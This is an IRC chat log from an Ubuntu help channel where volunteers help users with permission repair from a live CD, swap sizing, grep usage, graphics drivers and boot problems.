[17:24] <KiDFlaSh> because i CANT OPEN XORG.CONF
[17:24] <KiDFlaSh> normally it works but now not
[17:24] <bravo7_> soundray panning setup
[17:24] <ZILP> awsome i jst tried the live cd and its works like a dream
[17:25] <macvr> ﻿find / -xdev -print0 | xargs -0 -i chmod /mnt/linux/'{}' --reference '{}'                <<<<<<<<, so should i run this in terminal from my live cd?
[17:25] <soundray> unop: but of course it won't work that way, as it will just fill in the entire find output into one
[17:25] <soundray> macvr: no, sorry
[17:25] <ZILP> im thinking of moving from debian to ubuntu
[17:25] <alphabeta> KiDFlaSh: flash if your xserver isn't working you won't be able to open gedit. are you at a terminal or in gnome?
[17:25] <macvr> :-(
[17:25] <unop> soundray, errm it shouldn't .. as you are delimiting with -0
[17:25] <soundray> macvr: here's a better one
[17:25] <KiDFlaSh> yes i am in kde
[17:25] <mrthraz> ﻿hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:25] <KiDFlaSh> with konsole
[17:25] <unop> soundray, or rather 'limiting'
[17:25] <soundray> unop: yes, but it will only call chmod once, which won't work with the /mnt/linux prefix
[17:26] <Cripps> I've got a USB headset, and I wanted to make all audio from my compy go to the headset instead of the regular audio out ... are there any docs on how to do this and/or can somebody walk me through it?
[17:26] <unop> soundray, well, i'm inclined to saying, xargs will call chmod for every file passed to it
[17:26] <unop> soundray, i'll test this out now
[17:26] <Dabbu> now when i try to install something using synaptics it will go to some percent then again start from zero.....in a loop manner ...what i should do
[17:26] <alphabeta> KiDFlaSh: I'm not sure what step 5 refers to on their, didn't see it. but if you just need to edit a file, using a command line editor would work and probably save you some time.. so you can fix your x setup
[17:26] <wimpie> soundray: I'm back again and I stuck at point 7 atm (http://quilombo.wordpress.com/2008/03/07/realtek-rtl8187b-working-in-ubuntu-710-using-ndiswrapper/)
[17:27] <soundray> macvr: find / -xdev -print0 -exec chmod /mnt/linux/'{}' --reference '{}' ';'
[17:27] <AliTarihi> Hi! I have a problem. When I use Open With, I get this error "Text was empty (or contained only whitespace)"
[17:27] <KiDFlaSh> i got it
[17:27] <KiDFlaSh> with vi
[17:27] <KiDFlaSh> i will restart now
[17:27] <KiDFlaSh> and see if it works
[17:27] <FloodBot2> KiDFlaSh: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[17:27] <unop> soundray, xargs works fine
[17:27] <macvr> ﻿find / -xdev -print0 -exec chmod /mnt/linux/'{}' --reference '{}' ';'          <<<< so i should do this from the Live CD terminal[pls bear with seemingly silly question]
[17:28] <soundray> wimpie: sorry, I'm busy and logging off soon... please ask the channel
[17:28] <unop> soundray, you shouldn't need -print0 there .. infact it might affect how -exec works
[17:28] <soundray> macvr
[17:28] <macvr> s, soundray
[17:29] <PhoiNiX> xm
[17:29] <macvr> unop?
[17:29] <AliTarihi> I have a problem. When I use Open With, I get this error "Text was empty (or contained only whitespace)
[17:29] <Trovador_z> hello, i'm trying to delete a vista partitions directories from an ubuntu live cd, but when i do rm -fr on certain directories i get Operation not supported. Is there a way to force delete these?
[17:29] <unop> macvr, i suspect soundray is thinking of something as we speak.. hold on a minute
[17:30] <macvr> ok...... oops, sorry, i tot he left
[17:30] <macvr> !
[17:30] <wimpie> soundray: K see ya mate and thanks for helping
[17:30] <lesshaste> which package does /usr/bin/factor come from?
[17:30] <unop> lesshaste, find out.  dpkg -S /usr/bin/factor
[17:30] <martin_> lesshaste, coreutils
[17:31] <lesshaste> wow
[17:31] <lesshaste> why is it there? :)
[17:31] <unop> macvr, ahh i didn't see soundray's last post
[17:31] <soundray> macvr, unop: I'm still here
[17:32] <cheeky> hey guys .. i been reading and trying to familiarize with the Linux system itself through the terminal .. and kinda ran into a problem .. like when i type the command "su" and i type in my password that i used for every other authentication to download and install packages .. doesn't work when try the su in terminal. i also typed in "whoami" and it displayed the user and not root.
[17:32] <alphabeta> Trovador_z: not sure, but maybe the livecd doesn't have ntfs write support built in?
[17:32] <macvr> oh thank goodness, ur here
[17:32] <jiMMiE_bO> hey folks, ...
[17:32] <Pici> !sudo | cheeky
[17:32] <unop> soundray, macvr  - i should imagine this does.   find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' ;
[17:32] <themime> i want to install mod_proxy into apache.  apache was either installed via apt-get or at install time (same thing i guess right?).  so my understanding is that the best solution is having the module recompiled into apache.  but i don't have the source, and i want to keep the package intact, so im not sure how about going about this.  suggestions?
[17:32] <soundray> macvr: okay, if it was my system, and I didn't have much too lose, as everything looks pretty bleak anyway, I'd do this
[17:32] <Pici> cheeky: dont use su, see that webpage for detauls why.
[17:32] <unop> macvr, as long as you have mounted your install at /mnt/linux
[17:32] <soundray> macvr: ... what unop said :)
[17:32] <cheeky> wat web pase?
[17:33] <soundray> macvr: run this from a root shell, ie. after sudo -i
[17:33] <Trovador_z> alphabeta: i can write on some directories , but not on others! aparrently is some wierd permissions thing
[17:33] <cheeky> Pici: btw i fixedmy problem and finally on linux!!!
[17:33] <Pici> cheeky: The one ubottu told you above.
[17:33] <Pici> cheeky: Yay!
[17:33] <macvr> ok.... so its fine to do it? or should i backup what i can using the liVE CD firstt?
[17:33] <cheeky> Pici:  oh i didnt seee... yeah pic after 12 hours .. soo frustrating andi knocked off windows on my machine !!!
[17:34] <unop> macvr, a good idea, if you can
[17:34] <jiMMiE_bO> what Player do you prefer to play your DVDs ? Xine, VLC, Kaffeine MPlayer ?! Ò.ó
[17:34] <mrthraz> ﻿hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:34] <soundray> macvr: back up your home directory at least. Maybe also /etc/ for reference, and /var/cache/apt/archives/*.deb to save download time if (when) you have to reinstall.
[17:34] <riccardo> Hello
[17:35] <crlcan81> Hello
[17:35] <unop> jiMMiE_bO, Mplayer, vlc, xine, kaffeine - in that order, my preference :)
[17:35] <alphabeta> Trovador_z: that's strange.. I'm not sure what could be the problem. ensure ntfs-3g is installed and check that it is being mounted that way (and not the kernel ntfs driver)?
[17:35] <riccardo> what are you doing?
[17:35] <macvr> i was just about to ask for what all to save............ anything else guys?
[17:35] <macvr> to save?
[17:35] <icarus-c> should i install anti-virus and firewall?
[17:36] <jiMMiE_bO> unop, do you really need all of them to watch your dvds?
[17:36] <riccardo> what is the best antivirus??
[17:36] <unop> jiMMiE_bO, ohh no, just one does
[17:36] <alphabeta> icarus-c: if you're smart about what you trust, you shouldn't need an anti-virus (even on a windows box honestly :p).  A firewall's always a good idea
[17:36] <jiMMiE_bO> fine ... thx a lot
[17:36] <crlcan81> firestarter is your friend.
[17:37] <Orchid`> i need help getting the Nautilus-autorun-prompt to work
[17:37] <icarus-c> alphabeta: could you name me some good firewall choices?
[17:37] <unop> alphabeta, errm, did you really mean that or was it tongue-in-cheek ?
[17:37] <Pici> !firewall | icarus-c
[17:37] <soundray> macvr: I really have to go now, I'm not just cowardly :)  Hope it works, I may be back in 3 or 4 hours. Good luck.
[17:37] <alphabeta> unop: of course it was :p
[17:37] <Pici> !antivirus | icarus-c
[17:38] <alphabeta> well
[17:38] <Dred_furst> alphabeta, now X wont boot
[17:38] <amimusa> hello, please anybody can tell me where is the waiting animation located, i'd like to use to a webapp
[17:38] <macvr> hope to catch u again .. soundray, by then i hopr to have saved my files!!!
[17:38] <unop> alphabeta, a firewall is not really a good defence against malware that expoits browser (and other apps) flaws - an antivirus is always a good idea
[17:38] <alphabeta> Dred_furst: that's always a problem
[17:38] <lars> hi guys i am new  and i have started using ubuntu ,everthing is ok up to now.i want to learn something how can i change themes icons and etc..is there a software for these?
[17:38] <Dred_furst> its a geforce 8500
[17:38] <crlcan81> I dug through the FAQ, posted on the forums, downloaded the perl aspell lib, any know how to work with KildClient to setup aspell perl?
[17:39] <soundray> macvr: unop is of course highly trustworthy, should you run into more trouble.
[17:39] <soundray> bye
[17:39]  * unop is flattered 
[17:39] <reese> lars i think there is a site called kde-look you can go to and change the themes
[17:39] <Impy^>  Hi I don't suppose someone could help me i'm trying to run gtk2hack(nethack) on ubuntu but i get this when i try and play http://pastebin.com/d37048749
[17:40] <reese> http://www.kde-look.org/
[17:40] <alphabeta> unop: I know the role of a firewall and an antivirus :p but really, neither does much to protect against browser exploits. security updates are really your only defense against that
[17:40] <Dred_furst> should I be using the nv driver or the nvidia driver
[17:41] <alphabeta> Dred_furst: nv is the kernel driver, use that should nvidia break so you can fix it
[17:41] <Russian> hello, is my laptop capable to run Ubuntu smoothly with all the effects and eye candy enabled? Specs: AMD TK-57, 3GB memory, 250 GB HDD, Nvidia Geforce 7000M
[17:41] <unop> alphabeta, an antivirus app could stop malware from infecting your PC should malware exploit browser flaws
[17:41] <amimusa> please, or whatever gif image to show a wating div, anybody can help me to find one
[17:41] <themime> Russian: yes
[17:42] <MLoot> Russian: I would think so.. :)
[17:42] <unop> alphabeta, but you're right about security updates .. i just don't agree they are "the only real defense"
[17:42] <themime> Russian: i have a laptop with a gig of ram and no dedicated video and i can run it with a good amount of flair
[17:42]  * MLoot ponders pimping his lapop
[17:42] <GreenPeace> hello, what is the name of the tool to manage propiretary drivers in kubuntu?
[17:42] <MLoot> +t
[17:42] <Akazawa> is anyone here insterested in a linux system admin job in westford, mass?
[17:42] <Russian> themine and Mloot, thank going to check it out then
[17:42] <Dred_furst> where is westford
[17:43] <IdleOne> !OT > Akazawa

[17:43] <IdleOne> Akazawa: please take this convo somewhere esle. thanks
[17:43] <themime> Akazawa: and pay off my student loans =)
[17:43] <Akazawa> kk
[17:43] <unop> Akazawa, please take this to #ubuntu-offtopic - i'm sure a few people will be interested
[17:44] <alphabeta> unop: I'm really not arguing against the merits of an antivirus here.. just saying that against security holes left by applications, an antivirus (in my experience) isn't as helpful as a preventive measure on linux
[17:44] <Russian> themine I forgot to ask should I get x32 or x64 Ubuntu
[17:45] <carandraug> can anyone tell me how to find out the device path to my mouse? /dev/what?
[17:45] <unop> alphabeta, i was actually focusing on your statement about windows -- but we're offtopic now
[17:45] <alphabeta> unop: oh. I thought we established that was tongue in cheek
[17:45] <carandraug> Russian: I checked http://us.download.nvidia.com/XFree86/Linux-x86/169.12/README/appendix-a.html and your graph card appears there. It's a list with nvidia cards with support in ubuntu
[17:45] <mark_> I have ubuntu 8.04 on a dell laptop that has an HDMI port and I am wondering if there is any way to use the HDMI port to output to my tv without having to configure twin view
[17:45] <sheyZzz> Anyone have any recommendations for an external hdd enclosure that will work seamlessly with Ubuntu? (IDE,3.5)?
[17:45] <Russian> caradraug tnx
[17:46] <unop> alphabeta, errm, you made no explicit acknowledgement to that :)
[17:46] <Russian> caradraug should I install x32 or x64?
[17:46] <alphabeta> unop: I said of course it was :)
[17:46] <amgad> hi
[17:46] <markEmery> hello peeps
[17:46] <alphabeta> Russian: that depends alot on your needs and your hardware. what have you got and what do you want? :)
[17:47] <amgad> hellooooooooo
[17:47] <Russian> alphabeta I mentioned my specs a couple lines up =)
[17:47] <sheyZzz> amgad: ask  your question.
[17:47] <Russian> alphabeta AMD TK-57, 3GB, 250GB, nvidia 7000m
[17:47] <mrthraz> ﻿hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:48] <carandraug> Russian: I've heard today that x64 is no longer a hassle to configure (unless you thread with java applets). If you have a 64 bits processor you can use it. But the 32bits does the work just fine as well
[17:48] <busyfingers> got an email problem thatneeds resolving. if anyone can help. id be gratefull
[17:48] <amimusa> please, anybody has a animated wating icon to give me
[17:48] <amgad> i have problem in wireless in my laptop
[17:48] <alphabeta> Russian: well, your hardwares definitely capable of running 64bit. whether you want to or not still depends on what you expect from it
[17:48] <sheyZzz> mrthraz: where does the boot process die?
[17:48] <busyfingers> ok here goes....
[17:48] <bullgard4> What is a 'Virtual_Terminal_Emulator' (VTE) in Ubuntu? "Terminal emulator widget for GTK+ 2.0" It seems to be related to a GNOME terminal.
[17:49] <Russian> alphabeta, I expect to stream movies from internet, watch movies, and program in AS3 and PHP
[17:49] <sheyZzz> amgad: chipset? Distro? What is the problem?
[17:49] <Russian> carandraug tnx
[17:49] <mrthraz> lilo tries to boot but the text gets as far as lil_
[17:49] <shey> mrthraz: you sure you are using Ubuntu?
[17:49] <AliTarihi> I have a problem. When I use Open With, I get this error "Text was empty (or contained only whitespace) any idea?
[17:49] <markEmery> is there any GUI programs for ubuntu 8.04 that will handle setting up twin monitors or TV'S?
[17:49] <mrthraz> yes
[17:49] <mrthraz>  i am
[17:49] <s0u][ight> hello i had installed the kernel headers of intrepids 2.6.27 but now i want to install those of 2.6.26-5 but i get dependency not satisfiable
[17:49] <s0u][ight> can someone help
[17:49] <alphabeta> Russian: if you're a developer, I'd definitely consider 64bit if for no other reason than that it's the direction hardware is heading. like carandraug said, 64bit works great these days and is pretty much hassle free
[17:50] <markEmery> is there any GUI programs for ubuntu 8.04 that will handle setting up twin monitors or TV'S?
[17:50] <busyfingers> im using thunderbird in both windows ( goan) adn ubuntu( smile). however i cannot send out emails in ubuntu destpite the fact that all settings r correct..the same settings work perfectlyin windows.had this problom as of beginning september..
[17:50] <bullgard4> AliTarihi: What program are you using?
[17:50] <Russian> alphabeta and the drivers are fully supported too?
[17:50] <shey> UbuntuStudio uses Lilo?
[17:50] <Russian> alphabeta cause vista is screwing up the system
[17:50] <carandraug> I've found that there's a mouse in /dev/input/ . But in there I see mouse0 and mouse1. Which one am I using?
[17:51] <AliTarihi> bullgard4: any thing. when I right click and 'Open With..' I get this from any program in the list.
[17:51] <mrthraz> if you use xfs you have no choose
[17:51] <shey> hrmmm
[17:51] <alphabeta> Russian: For the most part I'd say yes. I've never had any more trouble getting a driver running on my 64bit than a 32bit installation
[17:51] <shey> mrthraz: the secondary hdd has anything on it?
[17:51] <shey> ie: another OS?
[17:51] <Russian> alphabeta tnx for your help
[17:51] <alphabeta> Russian: but if you don't care either way, 32bit might potentially save you a headache somewhere. it still is the status quo, and if one was to be better supported it would be 32bit
[17:52] <mrthraz> used g parted to strip it , i put ntfs as the file sys
[17:52] <cheeky>  hey i was wondering if i could see all the commands that were inputed ( sudo ) @ /var/log/auth.log; iam not sure how bring that up .. so i typed in cat /var/log/auth.log but it said no file or directory; so then i tried to move into that folder ..by typing cd /var ..and then typed ls ..and i see log ..there and when i tried to cd into that i could.. said no file or directory so how do i view my sudo logs ?
[17:52] <Russian> alphabeta I just want to get much better performance then running Vista optimzed ATM, cause its running horrible
[17:52] <leeping2008> Hi there, I just restarted my computer and my quad-monitor setup no longer works.  I suspect that it's because the proprietary NVidia driver needs to be updated because my kernel was updated, but I have no way to confirm this, or whether the kernel was even recently updated.  Anyone able to help??
[17:53] <bullgard4> AliTarihi: Your context menus seem to be broken. --  I canot help you. Sorry.
[17:53] <mrthraz> no other os on it
[17:53] <shey> mrthraz: I had issues with my secondary at one time, although removing it and putting it as USB, then stripping it solved that issu for me, then I added it back into my laptop, but then again am using Grub.
[17:53] <Jowi> carandraug, 'ls -la /dev/input/by-id' should give you some more information to be able to distinguish them appart
[17:53] <AliTarihi> bullgard4: thank you :)
[17:54] <unop> cheeky,  sudo grep sudo /var/log/auth.log   #perhaps?
[17:54] <shey> mrthraz: Although I dont see why that would hang Lilo. Let me do some research on this. Hang tight.
[17:54] <cheeky> unop: does it matter where i am in the linux system with terminal it would bring it up
[17:54] <unop> cheeky, location does not matter as you are using the full filename there
[17:55] <alphabeta> Russian: just go for 64bit. you can always try 32bit later if it doesn't work out :p the speed is going to be virtually the same
[17:55] <toni_> acarane opo rek
[17:56] <cheeky> unop: so it was that i didnt  sudo .. thats why it didnt showup
[17:56] <carandraug> Jowi: thanks. There was no id, had to go by-path . It seems it's mouse1
[17:56] <Russian> alphabeta, hehe, I need to concentrate on programming, so I dont really want to hassle around that much, so should I go with 32 then or still 64?
[17:56] <unop> cheeky, well, it probably was ..  /var/log/auth.log is readable only by root
[17:57] <kevin_> how can i choose my own server in xirc for gnome?
[17:57] <matkix> I installed NTOP on ubuntu server newest. When I go to ntop and view the graphs it only shows me Throughput, not the 95th or any other of the options it did before... Is anyone savy with ntop and rrd that would know what to change to bring those things back?
[17:57] <unop> cheeky, let's keep conversations in here
[17:57] <kc8pxy> Russian:  i always say 64, when it's possible.
[17:57] <shey> mrthraz: this page might give you some ideas as to whats wrong ... http://en.opensuse.org/SDB:LILO_fails:_Error_messages_and_their_interpretation
[17:57] <cheeky> unop okay
[17:57] <cheeky> unop: okay
[17:57] <Russian> hehe k guys tnx
[17:57] <Russian> 64 it is
[17:57] <mrthraz> i guess i should mention that my bios sees both drives but does not alow me to set one or the other as master , boot options only ask if i want net work, hdd, or or cd to boot and in what order
[17:57] <alphabeta> Russian: especially if you're programming I'd go 64bit. It's good to get to test both 32 and 64bit builds
[17:58] <stevenw> hello all i have a minor problem
[17:58] <mrthraz> thanks shey :)
[17:58] <Russian> alphabeta tnx again recording to dvd now
[17:58] <stevenw> my screen resolution is set very low
[17:58] <knip> hi, I installed ubuntu on my laptop, but i don't see wlan ethernet card
[17:58] <macvr> unop!!! i cant see my files!!!
[17:58] <stevenw> i tried sudo dpkg-reconfigure xserver-xorg
[17:58] <cheeky> unop:  so like i typed sudo cat /var/log/auth.log and it showed me on the terminal but when i typed sudo grep /var/log/auth.log ..nothing showed up and i didnt go back to the command prompt just keeps going down the the line
[17:58] <knip> someone can help me ?
[17:58] <stevenw> but it doesn't allow me to choose video settings
[17:59] <stevenw> it gives me error about overwriting custom config
[17:59] <Russian> alphabeta x64 should run both x32 and x64 right?
[17:59] <alphabeta> Russian: yeah, like windows linux can run both
[17:59] <Russian> sweet
[17:59] <unop> cheeky, your grep command is incomplete, that's why
[18:00] <Russian> alphabeta how much swap should I make for ubuntu
[18:00] <Tulimaq> ﻿stevenw: pastebin your xorg.conf
[18:00] <unop> cheeky, meaning it is waiting for you to input something
[18:00] <unop> cheeky, sudo grep sudo /var/log/auth.log
[18:00] <shey> mrthraz: also, see if the hdd's themselves can be set master/slave via jumper
[18:00] <macvr> unop>>>when i check partition editor it says that used is 12GB but i'm not able to see the files , not even when the view hidden files is set
[18:00] <cheeky> unop: exactly and inputed rubish in there..how doi backoutofit..close the terminal ?
[18:00] <busyfingers> 2 times the amount of onboard ram is the recommended swap space
[18:00] <unop> cheeky, ctrl+c
[18:01] <stevenw> k...
[18:01] <betatest20> Q: VLC uses /dev/hdc as target for a DVD, which can't be found, I have to point it at /media/ACTUAL_DVD_NAME how can I fix that?
[18:01] <Dred_furst> argh
[18:01] <Dred_furst> alphabeta, even the LATEST drivers cause it to bleh out on me
[18:01] <unop> macvr, you probably don't have permissions on the directory?
[18:01] <Russian> 2 times damn
[18:01] <alphabeta> Russian: well there are plenty of general rules of thumb but with a 250gb hard drive I'd just throw it 2gigs
[18:01] <Russian> 6 gb o_o
[18:02] <alphabeta> Russian: or 6. why not :) you've got the space
[18:02] <Russian> alphabeta busyfingers suggested 6gb
[18:02] <busyfingers> yeah dontned muchmre than that for swap
[18:02] <Russian> alphabeta k sweet
[18:02] <Russian> busyfingers 6 gb it is
[18:02] <alphabeta> Russian: honestly with 3gb ram you're unlikely to need alot of swap
[18:02] <cheeky> unop:  yeah it worked..showed me the same thing when i used cat i guess..but when i used cat i didnt type sudo twice ..why is that .. and does grep show the log file in the windows .. coz for me it did
[18:02] <Russian> alphabeta hehe so how much then
[18:02] <macvr> oh... ok i see them... opened via gksudo nautilus!
[18:03] <busyfingers> is that double ur onboard ram  or are you allwing for some slack as well?
[18:03] <Russian> I got 3GB of ram
[18:03] <macvr> unop>>>how do i reset the permissions?
[18:03] <unop> cheeky, you mean you tried   sudo sudo cat auth.log ?
[18:03] <carandraug> Russian: didn't you said you have 3Gigas of RAM? You'll need at least that amount to hibernate
[18:03] <busyfingers> souds about right then assuming the norma rule of thumb abut swap.
[18:04] <busyfingers> "normal"
[18:04] <alphabeta> Dred_furst: :/ sorry to hear that.
[18:04] <Russian> So 3GB at least for hibernation, means 6GB is the perfect amount then>
[18:04] <cheeky> unop: no i typed in sudo cat /var/log/auth.log and itshowed up! let me try again
[18:04] <busyfingers> spot on.
[18:04] <icarus-c> Russian: somehow with more ram than 2GB can reduce the ratio
[18:05] <Tulimaq> ﻿Russian: 1.5x RAM should be fine imo
[18:05] <carandraug> Russian: the rule of 1.5x RAM to swap only applied when you don't have a lot of RAM in my opinion. If I was you, I would go with 3,5 Gigas of swap
[18:05] <Dred_furst> alphabeta, looks like its back to the PCI gigabit ethernet
[18:05] <unop> macvr, well, you might not have permissions to view the files if you aren't the owner -- but you wouldn't want to change the ownership as the live CD (which i assume you are on) user might not have the same ID as the user on the install
[18:05] <Russian> lol you getting me confused guys
[18:05] <Dred_furst> which is a bit of a shame really
[18:05] <icarus-c> Russian: as long as you don't user hibernate or something
[18:05] <Dred_furst> because it means I cant get 5.1
[18:05] <cheeky> unop: yeah it displayed the log ..file...so wats with the 2 sudo in grep ? to view that file?
[18:05] <unop> macvr, if the command we gave you earlier completed successfully .. try rebooting
[18:05] <icarus-c> Russian: just x1.5 will do
[18:05] <alphabeta> Dred_furst: run out of pci slots?
[18:05] <cbovy> hi all, is there a special channel for intrepid issues?
[18:05] <Russian> icarus-c even if I use sleep ?
[18:05] <alphabeta> cbovy: yeah it's in the topic :)
[18:05] <Dred_furst> alphabeta, yeah, its a mATX motherboard
[18:05] <Gnea> !intrepid | cbovy
[18:06] <carandraug> cbovy: #ubuntu+1
[18:06] <icarus-c> Russian: um.. i have no experience about sleep
[18:06] <Russian> someone suggested 3GB atleast cause of hibernation
[18:06] <cbovy> thanks guys
[18:06] <zasek> who is Russian
[18:06] <Russian> me
[18:06] <icarus-c> lol
[18:06] <zasek> aaa
[18:06] <Dred_furst> one for the TV tuner, PCIE for the GPU and one spare
[18:06] <Dred_furst> which I put an audigy 2 in
[18:06] <unop> cheeky, the format of grep is generally ..  grep KEYWORD FILE  ... and the keyword we want is sudo (we are looking for lines containing the word sudo) .. but we don't have read permissions over that file, so we need to be root to use the command, hence the reason we prefixed the grep command with sudo
[18:06] <gaintsura> hey all, I disabled compiz/emerald and now when I log into gnome x locks up and I must ctrl+alt+backspace and load into KDE/blackbox/fluxbox, can anyone help me?
[18:07] <zasek> I too
[18:07] <carandraug> Russian: I did. I suggested. In hibernation, everything in RAM goes to swap (or so I've been told). You need at least the same amount
[18:07] <alphabeta> Russian: afaik sleep keeps the memory in ram, hibernate copies it to hard drive and shuts down
[18:08] <cheeky> unop: i get that part .. so you prefixed with sudo  grep .. then sudo again /
[18:08] <icarus-c> i've heard that suspending would never wake up again successfully..
[18:08] <Russian> carandaug, alphabeta which is better to use then
[18:08] <carandraug> Russian: if you don't plan on using hibernation, you can even have less swap than ram (like me)
[18:08] <carandraug> Russian: with hibernation you don't need power (nice for laptops). In sleep you do need power
[18:09] <cheeky> unop: coz there were sudo before grep and after the wrod grep was another sudo and then the file path .
[18:09] <unop> cheeky,  no.  we looked for lines containing sudo in /var/log/auth.log  .. the second sudo is just another word, not an active part of the command
[18:09] <Dred_furst> alphabeta, just trying disabling a few wake on settings in the BIOS
[18:09] <Russian> carandraug, but I guess sleep is much faster then hibernate?
[18:09] <macvr> ﻿find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' ;                           <<<< this is the one right? also to another point, i'm dual booting with XP and the UbUNTU is on sda5..... so its go to run this command ?
[18:09] <cheeky> so grep is like a search function ?
[18:09] <Dred_furst> yes
[18:09] <unop> cheeky,   have a look at this.   grep cheeky /your/file   ..  what do you think it does?
[18:10] <icarus-c> Russian: so as to conclude: if you need hibernate ->  more than 3GB ; else -> whatever
[18:10] <unop> cheeky,  $ whatis grep
[18:10] <unop> grep (1)             - print lines matching a pattern
[18:10] <alphabeta> Dred_furst: couldn't hurt. might be easier just to try a different adapter
[18:10] <petrele> hello
[18:10] <th-nvstgr> y a moyen de faire chmod récursif sur un dossier et son contenue?
[18:10] <carandraug> Russian: yes. But if it's a laptop, you run out of power, everything in the RAM gets lost. Sleep if to use for a few hours, maybe less. Hibernate can be several days. They're different things for different moments. You either sleep or hibernate depending on the situation
[18:10] <th-nvstgr> bonjours d'abord :s
[18:10] <Pici> !fr | th-nvstgr
[18:11] <petrele> i installed my system with the min mode, then installed the xorg by myself
[18:11] <alphabeta> MrKennie: thanks again. a purge of apache fixed it, still not sure what the problem was
[18:11] <unop> macvr, as long as you mounted the linux install to /mnt/linux  - that will affect only the linux install .. the windows part should remain untouched
[18:11] <matkix> Anyone knoe anything about ntop...?
[18:11] <Russian> carandraug, so I guess a safe amount would be 3-6gb then?
[18:11] <cheeky> unop:  cool .. is there like another excercise you can tell me to find so i can use and get familiar with grep ?
[18:11] <icarus-c> matkix: did you mean ntop or ntp?
[18:11] <macvr> so before running that command, i should do <sudo -i    mkdir /mnt/linux    mount /dev/sda5 /mnt/linux >
[18:11] <petrele> but when i start X, it takes long time to show the desktop, where does the problem is?
[18:11] <icarus-c> Russian: i suggest 4.5
[18:11] <Dred_furst> alphabeta, interesting, looking further up dmesg it says irq21 nobody cared
[18:12] <alphabeta> Russian: really, you've got a 250gb hard drive. unless you always find yourself with exactly 248 gigs of content, 3.5 4 5 or 25gb won't hurt anything :-)
[18:12] <Dred_furst> (try booting with the irqpoll option
[18:12] <unop> cheeky, heh. ok, if you like.  find all files in your home folder that contain the word firefox :)
[18:12] <Dred_furst> disabling irq 21
[18:12] <carandraug> Russian: yes. I wouldn't use more than 4Gb though.
[18:12] <Dred_furst> which is the rhine network card
[18:12] <Russian> k guys tnx a lot, just going to create 4,5 GB of swap
[18:12] <unop> macvr, that looks fine .. assuming /dev/sda5 is your linux partition (for /)
[18:13] <macvr> s
[18:13] <icarus-c> i've got 1GB of ram and i just use 512 MB of swap :p
[18:13] <petrele> i do not used swap
[18:13] <douye> carandraug: isnt hibernate a bit bugged atm? and is just 3gb of swap good enough ?
[18:13] <petrele> it works well
[18:13] <airtonix> russian, i have 1gb swap and none of it gets used...
[18:13] <airtonix> Russian, having 2gbs of ram helps though
[18:13] <alphabeta> I've got 2gb ram and 2gb swap, barely ever use it
[18:13] <carandraug> Russian: also, since you have so much RAM (I only have 3 Gigas), one cool thing you can do is a RAM disk. You allocate a small space of your ram (like 50Mb) and you put your files there when working for extra fast access
[18:13] <icarus-c> douye:  basically you won't need swap much unless you run out of memory..
[18:13] <matkix> icarus-c: NTOP
[18:13] <icarus-c> matkix:  don't know then
[18:14] <cheeky> unop:  gimme a min
[18:14] <matkix> haha..
[18:14] <matkix> anyone... buler?
[18:14] <Russian> carandraug, thats extra I guess
[18:14] <macvr> unop>>>keeping fingers crosssed, will get back after the reboot.... u'll be here in a few mins  , so i could get back?
[18:14] <douye> icarus-c: well with my busted battery in the laptop (it goes empty in like.. 10mins while it lasted 2hours+ before) i prefer to use hibernate.. but it didnt really work last time i tried it :P
[18:14] <petrele> can the swap's size effect the hibernating
[18:14] <mrthraz> shey. there does appear to be a jumper on the drive, on to of the first four prongs, though no markings on what would be the slave position. i'll just fool around with it and see if i get it right. man i feel stupid. thanks for pointing me in the right direction
[18:14] <unop> macvr, i have to go in a minute, i'll be back in an hour or so - after dinner
[18:15] <petrele> my pc can not go to hibernate
[18:15] <carandraug> douye: yes. In some computers is a bit bugged. For some people work, for others it doesn't
[18:15] <Russian> carandraug I also have 3 GB
[18:15] <icarus-c> douye: yea i have experienced that before... hibernate and never wake up
[18:15] <macvr> ok unop, will report back ...
[18:16] <douye> carandraug, icarus-c: is there like.. any list that says with what system its a bit bugged and with what systems it aint, or is it just purely a fault in the installation?
[18:16] <Russian> carandraug lets say I wont use hibernate at all, only sleep sometimes, how much swap?
[18:16] <cheeky> unop: sudo grep firefox  /home......is that is .. coz if that is..i didnt see anything lol
[18:16] <cheeky> just went to the next command
[18:16] <icarus-c> douye: don't know, but it seems fedora got the same problem too
[18:16] <icarus-c> Russian: sleep won't need swap
[18:17] <petrele> can't hibernate the computer, why?
[18:17] <carandraug> Russian: I wouldn't use more than 4 Gigas because the point of swap, from what I've read, is to makeit up for small ammounts of RAM. 3 Gigas is a lot of RAM so you won't need a lot of swap (unless you plan on using hibernate)
[18:17] <icarus-c> petrele: can hibernate, just never wake up
[18:17] <Dred_furst> ok alphabeta fixed, had to append irqpoll to boot
[18:17] <carandraug> douye: I don't know
[18:17] <Russian> carandraug seems like I dont need swap at all for sleep and I am not going to use hibernate, whats the definite swap amount ?
[18:17] <petrele> icrus-c: but i can never go to hibernating
[18:18] <alphabeta> Dred_furst: wow. wish I could say I helped with that :p good work
[18:18] <cheeky> wats a good ..like note taking prgram for ubuntu as i wish to make notes when iam learning linux ..
[18:18] <icarus-c> petrele: because you don't have enough swap?
[18:18] <petrele> icarus-c: it always came out with an error msg
[18:18] <icarus-c> petrele: what is it
[18:18] <alphabeta> Dred_furst: alls well now?
[18:18] <carandraug> Russian: it's a matter of taste. I would choose 2Gigas in your case
[18:18] <cheeky> unop: hey was that command i typed right ?
[18:18] <Russian> carendraug, oke thanks =)\
[18:18] <Russian> and everyone else offcourse tnx also
[18:19] <icarus-c> carandraug: i would choose 512MB at most..
[18:19] <Dred_furst> alphabeta, yep
[18:19] <petrele> icarus-c: i didn't remember it now. it just tell me it can't
[18:19] <icarus-c> 0.0% of my swap is now in use..
[18:19] <petrele> icarus-c: i konw now
[18:19] <kindofabuzz> how do i go about remove all instances of a driver installed with ndiswrapper?  just ndiswrapper -r didn't work
[18:19] <icarus-c> petrele:  :-o
[18:19] <carandraug> icarus-c: like I said, it's really a matter of taste. Like splitting the filesystem through dozens of partitions
[18:19] <alphabeta> Dred_furst: good good
[18:19] <icarus-c> carandraug: which what i do too :P
[18:20] <douye> icarus-c: hmm got 370mb swap in use atm, while i got 2gb ram
